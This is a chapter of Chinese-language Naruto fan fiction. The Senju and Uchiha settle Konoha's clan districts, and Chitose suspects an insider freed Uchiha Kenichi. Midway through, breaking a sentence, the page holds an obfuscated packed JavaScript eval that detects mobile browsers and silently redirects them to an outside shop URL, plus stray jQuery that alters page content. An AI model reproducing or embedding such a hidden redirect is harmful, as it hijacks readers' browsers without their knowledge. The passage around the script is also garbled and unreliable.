木叶创立元年,缠斗百年的千手一族与宇智波一族,终于在千手柱间、宇智波斑这一代,彻底终结了绵延无尽的族群战争。
两族放下兵刃握手言和,耗时近半年磋商敲定停战协议,连同木叶建成后的整套治理体制、两族族群纠葛事宜,尽数交由千手扉间与宇智波治里联手拟定。
木叶创立一年,木叶忍村正式落成,选址正是年少时千手柱间与宇智波斑畅谈大同理想的崖壁之下。这片原本草木葱郁、寂静无人的山野,自此盛满人间烟火。依托千手柱间得天独厚的木遁之力,属于木叶的民居宅院接连破土修建,不过一年光景,村内已是屋舍错落,格局初具。
忍界两大顶级氏族停战建村的消息传遍四方,一众中小型氏族纷纷慕名归附,奈良、山中、油女三族尽数入驻,向来擅长笼络族群、经营声望的日向一族,也选择归顺木叶。
为彻底消解族群对立隔阂,规划各族聚居驻地之初,千手柱间本心希望所有归附族群放下古老门第偏见,彻底融入木叶,摒弃族群身份划分尊卑、划定圈层,可理想化的构想终究难以落地推行。
“大哥,这般驻地规划,实属不妥。”
千手扉间神色凝重,他远比任何人清醒,即便木叶村落已然建成,百年战火厮杀积攒下来的族群芥蒂、血海隔阂,根本无法一朝消散。
“即便一众归附小族愿意妥协配合,日向、宇智波这类底蕴深厚的大族,绝不会认同这套方案。”
千手扉间心知肚明,日向日翔极致看重一族血统尊卑,固守本家、分家森严等级制度,骨子里排外且固守族群领地,强行打散族群混居,势必激化矛盾。
而在前几日各族齐聚的领地划分议事大会上,宇智波派出的参会族人,却一反常态,极力否决千手扉间拟定的全域驻地划分方案。
“还因为族群大会那日,千岁当众顶撞你的事耿耿于怀?”
千手柱间暂且搁置沉重的族群制衡议题,转头看向身侧弟弟,语气带着几分打趣。
那日全族议事大会之上,千岁端坐宇智波斑身侧,待议事推进至宇智波专属驻地划分议题时,态度格外强硬,公然提出反对意见。
“宇智波聚居地,选址太过偏僻。”
少女一句直白论断,就连心性淡然的宇智波斑,都被她突如其来、毫无预兆的发言,引得微微侧目动容。宇智波斑本对驻地划分、市井安居这类琐碎俗事毫不在意,于他而言,族群存续、同伴理想才是重中之重,可看着身侧少女眉眼坚定、据理力争的模样,心底悄然泛起一丝动容,随即眉眼冷冽,沉声附和:
“宇智波一族,对驻地划分,仍有异议。”
在场所有族群族长,齐齐转头望向宇智波席位。往日议事,宇智波都随大局而定,从不会刻意发难,众人皆知宇智波斑实力冠绝忍界,无人敢与之辩驳,全场一时静默。最终,宇智波驻地划分这一议题,只能暂时搁置延后商议。
千手扉间按着发胀的太阳穴,满心疲惫无奈:
“这小鬼,两族好不容易停战交好,依旧处处不让我省心。”
千手柱间抬眸看向扉间,漆黑眼眸通透澄澈,仿佛一眼看穿他心底所有安排:
“扉间,扪心而言,我也觉得,给宇智波划定的驻地,太过偏僻了。”
扉间垂落眼眸,屋内瞬间陷入死寂。
无可辩驳,规划各族驻地之时,他确实私心作祟,始终无法放下对宇智波全族的忌惮防备,刻意将宇智波划定在木叶村落边缘地带,本意便是就近监视、限制宇智波活动范围。
“扉间,木叶已然正式创立,村子不是你我私域。宇智波斑选择信任我,我也理应拿出千手一族的十足诚意。”
千手柱间缓缓起身,拿起桌案上完整的族群驻地划分舆图,抬手执笔,径直圈定火影大楼东侧一片腹地,落笔工整写下:宇智波聚居地。
“扉间,此事由我最终决断,宇智波一族,定居此处。”
千手扉间眉头骤然紧锁,满心反对。
自己这位兄长向来随心行事,重情义轻制衡,全然没有考量村内大族势力平衡。
“这片区域,早前早已被日向一族敲定求取,如今划拨给宇智波,怕是难以服众,激化大族矛盾。”
“我意已决,扉间。”
柱间眼神坚定,没有丝毫转圜余地。
扉间凝望着兄长一意孤行的模样,清楚知晓自己再也无法劝阻。
“日向族长那边,我会亲自登门沟通解释。”
各族尽数入驻木叶忍村,宇智波族地也在千岁一行人连日据理力争之下,彻底脱离村子偏僻边角,顺利迁至火影大楼东侧腹地。
这片地界放眼整个木叶,视野开阔通透,紧邻村子核心商贸闹市,咫尺便是火影办公主楼,坐拥绝佳的区位优势,无论是市井商贸价值,还是村内政治区位价值,皆是木叶顶尖水准。
以往被安置在族地后方、与世隔绝受族群庇护的宇智波妇孺幼童,也尽数搬迁至此,安稳落脚。
千岁陪着纯子、彩子收拾搬迁行囊,帮着两人搬运打理宅中行李,从清晨忙至日暮,一整天的迁居琐事终于将近收尾。
纯子站在新的宅院回廊下,踮起脚尖,将一串风铃稳稳挂在檐角。晚风穿庭院而过,风铃相撞,清越细碎的叮铃声缓缓散开,漫过整座新居。
这串风铃,是凪水尚在人世时,外出执行任务途经集市,特意买来送给纯子的小物件。哪怕辗转迁居,更换居所,纯子也始终妥善收好,一刻不曾舍弃。
小女孩仰着头望着晃动的风铃:“哥哥说了,下次回来,会给我带更漂亮的风铃,这个,就先勉强挂在这里好了。”
千岁静静立在原地,望着纯子单薄稚嫩的背影,缄默不语。睫毛轻轻垂落,遮住眼底翻涌的酸涩与沉郁,无人窥探她眼底深藏的思绪,无人知晓她此刻心底翻涌的万千念想。
下一秒,纯子转身快步跑到千岁身前,攥住她的掌心,脚步轻快地蹦跳着,眉眼盛满孩童独有的欢喜,满心都是迁入新家的憧憬:“千岁姐姐!你说哥哥回来,看见我们的新家,会不会大吃一惊呀?”
千岁缓缓抬眼,敛去眼底所有悲凉,扯出一抹温和柔和的笑意,抬手轻轻抚过纯子柔软的发丝,语气温缓轻柔:
“会的。凪水看见你们不用再过从前颠沛流离的日子,一定会很开心。”
风再起,檐下风铃声再度响起。
凪水,木叶已经建成了。
往后这世间,再也不会有如同你一般,葬身战国乱世、死于族群厮杀纷争里的族人了。
你再也不必为了守护后方弱小的妹妹,孤身奔赴前线,浴血拼死。
「有力量的话……就尝试……去改变这一切吧。」
未来,是可以被亲手改变的。
在踏足战国时代之前,宇智波族地被放逐在木叶偏僻荒芜的边角,困于一隅、受人监视。可如今,一切已然偏离原定命运,宇智波一族直接入驻木叶腹地中心,坐拥近邻火影大楼、繁华闹市的绝佳领地。
眼前改变的现状,彻底坚定了少女心底所有信念。
千岁抬眸,望向檐下随风轻晃、叮当作响的风铃,内心思绪万千。
她能改变这些,她也一定可以改变所有。
改变那个宇智波一族注定灭亡的宿命。
宇智波聚集地议事厅
纵使木叶已然落成,两族战火彻底平息,宇智波沿袭百年的族会依旧按期举行。只是步入忍界久违的和平之后,往日族会永恒围绕的领地掠夺、外敌制衡等议题,完全失去意义。连日召开的族会寥寥无趣,议题匮乏,就连宇智波一族族长宇智波斑,也全然无心端坐主位主持议事。
此前濒死重创的泉奈,依靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646718|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
禁术细胞再生之术彻底愈合肉身伤势,捡回一命。
可那道致命攻击,早已崩碎他周身所有查克拉经脉,禁术只能重塑血肉骨骼,却无法修复彻底损毁的查克拉源头,自此之后,泉奈彻底失去调动查克拉的能力。
于斑而言,只要弟弟能活着留在身边,便已是最好的结果。
可劫后余生的泉奈,连日心绪沉郁低落,满心无法接受宇智波放下血仇,与宿敌千手握手言和。
偏静的起居室内,空气沉静凝滞。
泉奈倚坐在榻边,喉间泛起一阵细碎的咳嗽,气息虚弱,抬眼看向身前兄长:
“兄长,你当初,根本不该选择和千手求和。”
“泉奈,木已成舟。”
宇智波斑立在窗前,背影沉敛厚重,语气平淡却不容更改,
“厮杀不休的时代,已经彻底结束了。”
泉奈缓缓垂下眼帘,长睫掩去眼底尖锐的偏执与不甘:
“兄长,你是被千手柱间的巧言令色蒙蔽了心智。”
在泉奈从小到大的认知里,千手与宇智波是天生宿敌。此番千手主动停战结盟,不过是妄图借力而行,借宇智波顶尖战力稳固局势,收拢忍界各族势力,借木叶之名收拢所有族群话语权,最终将整座村子的统治权,牢牢攥在千手一族手中。
所谓共建木叶,不过是千手吞并各族、掌控忍界的幌子罢了。
泉奈还欲开口辩驳,起居室门外忽然传来轻缓规整的敲门声,打断了室内凝滞紧绷的氛围。
“族长大人。”
门外响起清亮平和的少女声线,是千岁。
“进来。”
斑沉声应允。
推拉木门被轻轻推开,金发少女缓步走入室内,反手轻阖房门。她抬眼便看见倚靠矮桌而坐的泉奈,少年面色苍白沉郁,周身气息低迷,便温声开口问询:
“泉奈大人,身体可有好转?”
“他无碍。”
不等泉奈作答,宇智波斑已然率先出声代为回应,深邃漆黑的眼眸顺势落定在少女身上。
千岁向来极少私下登门,往日求见,皆是族务公事。这一刻,不知为何斑心底生出一丝隐秘的期许,暗自盼望她此番前来,是为私事。他看着少女眉眼凝着沉色,心事重重,即便只是受了委屈、心绪不顺,来找自己倾诉排解,亦是无妨。
斑微微敛神,轻咳两声,放缓了平素冷硬的语调,主动开口:
“有人惹你不快了?”
可少女下一句话语,直接打碎了他心底的期许。
“族长大人,宇智波健一私自出逃一事,另有蹊跷。”
斑身形微顿,缓缓挺直背脊,褪去方才松弛的神态,沉声发问:
“有何蹊跷?”
千岁思绪落回此前与黑木佑介交手的那场战役。那个时候她读取到对方封存的记忆,黑木佑介只是在深山之中,捡到了宇智波健一的尸体,顺势夺走其写轮眼,自始至终,他都不是行凶之人。可宇智波健一遇害的真相,直至今日依旧迷雾重重。
“上次对战黑木佑介时,我读取过他的记忆,宇智波健一,并非死于黑木佑介之手。”
宇智波斑瞳孔微凝,思索了一会儿,才沉沉开口:“……杀害他的,另有其人?”
千岁颔首,那日宇智波地下牢戒备森严,守备力量全由族内精锐把控,以宇智波健一当时的状态,根本没有独自越狱出逃的能力。退一步而言,即便他手握能够改写生死的伊邪那岐,整座地下牢狱,早已布设宇智波斑专门克制封印写轮眼能力的封印忍术,足以封锁一切瞳术逃生手段。
山林之中宇智波健一冰冷惨死的模样,一遍遍在脑海浮现,挥之不去。
千岁抬眸看向主位的宇智波斑,一字一顿,语气笃定:
“我猜测,是族内之人,暗中放走了宇智波健一。”